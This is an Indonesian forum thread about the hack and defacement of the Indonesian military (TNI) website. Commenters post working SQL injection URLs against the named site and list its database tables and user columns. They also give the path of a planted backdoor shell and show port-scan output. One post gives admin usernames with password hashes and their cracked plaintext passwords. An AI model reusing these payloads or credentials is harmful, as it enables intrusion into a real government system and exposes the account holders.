Situs Resmi TNI Kena Hack!

TKP: http://www.tni.mil.id/

komen dari para master:
1. kancut_pink
baru tadi sekitar 1 jam yg lalu saya buka kaskus ko ada hot threadnya situs TNI di hack..

lalu setelah sya testing saya menemukan ada 1 lobang di situs ini..yaitu dgn teknik SQL injec..
di manakah letak sql injennya?
ini dia
hxxp://www.tni.mil.id/gallerydtl.php?id=1&cid=-1+union+all+select+1,2,3,4,5,6,7--

dari situ bisa didapatkan sejumlah table di database situs tersebut
yaitu:
t_banner
t_content
t_country
t_duty2
t_duty_person
t_duty_pic
t_gal_ctg
t_gallery
t_guest_book
t_ip_management
t_katkot_content
t_katkot_ctg
t_katkot_subctg
t_news
t_news_ctg
t_news_lnk
t_news_opn
t_person_unit
t_profile
t_session
t_subscribers
t_task
table_jml
tlkp_etc
tsys_cfg
tsys_lkp
tsys_res
tsys_ses
tsys_sesd
tsys_set
tsys_sql
tsys_user
tsys_var

sudah keliatan dari situ ada table tsys_user,ditable itu ada beberapa kolom yaitu:
usr_code
usr_name
usr_pwd
usr_grp
usr_address
usr_city
usr_zip
usr_phone
usr_mobile
usr_email

naahh dari situ kita bisa melihat username apa dan apa passwordnya

setelah login ma si defacer menaruh backdoor di sini
hxxp://www.tni.mil.id/images/null.php

nah penjelasan saya cukup sekian.saya bukan menjelakkan kisanak incomplete,mgkn bukan dia yg ngedeface,mgkn ada org lain.tapi saya baru menemukan shell itu.karena saya blm teliti lbh lanjut..takut ketahuan masuk rumah orang diem2...heheh

piss pak TNI..sumpah bukan saya pak yg deface..saya hanya study kasus saja
ini buat pembelajaran saja,tolong jgn buat merusak.

salam buat para master2..saya hanya nuwbie


2. pencari.jablay (set dah, susah bener detect neh ID)
sebenernya yang nge-hack jago sih gan,,
cuman salah alamat,,
knapa ga situs malingshit aja yang doi embat
ini malah situs negeri sendiri

tuh hacker berhasil ngembat file index.php kayaknya sih doi make XSS deh CMIIW
klo halaman lain aman, webnya aman, cuman di deface doank,,
harusnya sih webmasternya cepet nih bisa benerinnya,
cuman mungkin doi lagi liburan tahun baru,,

coba cek yang ini : http://www.tni.mil.id/organization.php
masih aman kan

di index.php ada form kayaknya gan,,
doi nyisipin XSS,,
makanya pas tembak ke index.php redirectnya rada lama,
karena posisi script bukan di header,,
CMIIW

koq berasa ngobrol di CCPB ya ?

liat deh di footernya,,
kerjasama ama indos** ,,
pastilah bayarnya mahal,,
dan dengan ini kita tau bahwa nama besar ga jamin webnya dahsyat,,

3. 060103323 (ini lagi, NIP dijadiin ID)
port 2222 ada yg buka tuh,

|___ 80 World Wide Web HTTP
|___ HTTP/1.1 200 OK..Date: Sat, 26 Dec 2009 18:41:31 GMT..Server: Apache/2.2.12 (Ubuntu)..X-Powered-By: PHP/5.2.10-2ubuntu6.3..Set-
|___ 2222 Allen-Bradley unregistered port
|___ SSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2..

4. chenxin
Susah lho mengubah file di server jika tidak tahu login/password admin..
kan biasanya di admin readonly tuh buat guess..

kalo nyoba pake password breaker cukup lama juga...mencoba satu persatu sampai ketemu bayangin aja dikomputer ada kira2 26 char huruf + 10 char angka
berarti jika password 5 digit aja nyobanya sampai 36^5 (36x36x36x36x36)
belum jika diserver dikasih pengaman kalo masukin 3 kali gagal harus mengulang setelah 10 menit...hampir mustahil isa ketembus tuh...butuh 139968 hari...alias 383 tahun untuk full search 5 digit....( ga tahu lagi kalo pas hacker beruntung tuh sekali nyoba langsung tembus)

Kemungkinan masukin trojan tuh, bentuk ucapan selamat atau program exe yang lain, adminnya kurang tahu asal buka aja
nah kalo udah ada si trojan ini, masalah ubah mengubah file jadi gampang tuh
dia bisa share direcory segala.....

Nah hati2 kalo buka ucapan selamat atau jalanin scripting yang di internet yang client side...misal java-script
kalo ga tahu jahat nggaknya si pembuat web, DANGER tuh...
isa2 komputer kita diobok2..

5. a2purn
ini buat konfirmasi aja kalo situs TNI itu udah bisa di hack sejak SETAHUN YG LALU , anak SD jg bisa kok hack situs TNI , gampang bgt dan masalah situs pemerintah hampir semua situs pemerintah bisa di hack ,, termasuk situs polisi jadi gak usah heran atau kaget ,, KARNA ADMINNYA MALES . DI GAJI GEDE TAPI ADMINNYA MALES

http://www.tni.mil.id/gallerydtl.php?id=147&cid=-27+UNION+SELECT+1,2,3,concat_ws%28version%28%29,user%28%29,database%28%29%29,5,6,7--

Versi : MySQL: 5.0.77
database : belibis@localhost5.1.37-1ubuntu5elang

admin:a55891977489d2f3c39855dfc9d0e211 [1]puspen TNI:12412e18e39e9ebc5c67cff8a625ed73 [2]:bangsawancyberindo:3ceda926b2438e8f900d64b74e9ed2 36

dan hasil krack nya adalah :
a55891977489d2f3c39855dfc9d0e211 : mudik
12412e18e39e9ebc5c67cff8a625ed73 : lebaran
3ceda926b2438e8f900d64b74e9ed236 : berpikir

jadi seperti ini intinya :

username : admin
password : mudik

username : puspen TNI
password : lebaran

username : bangsawancyberindo
password : berfikir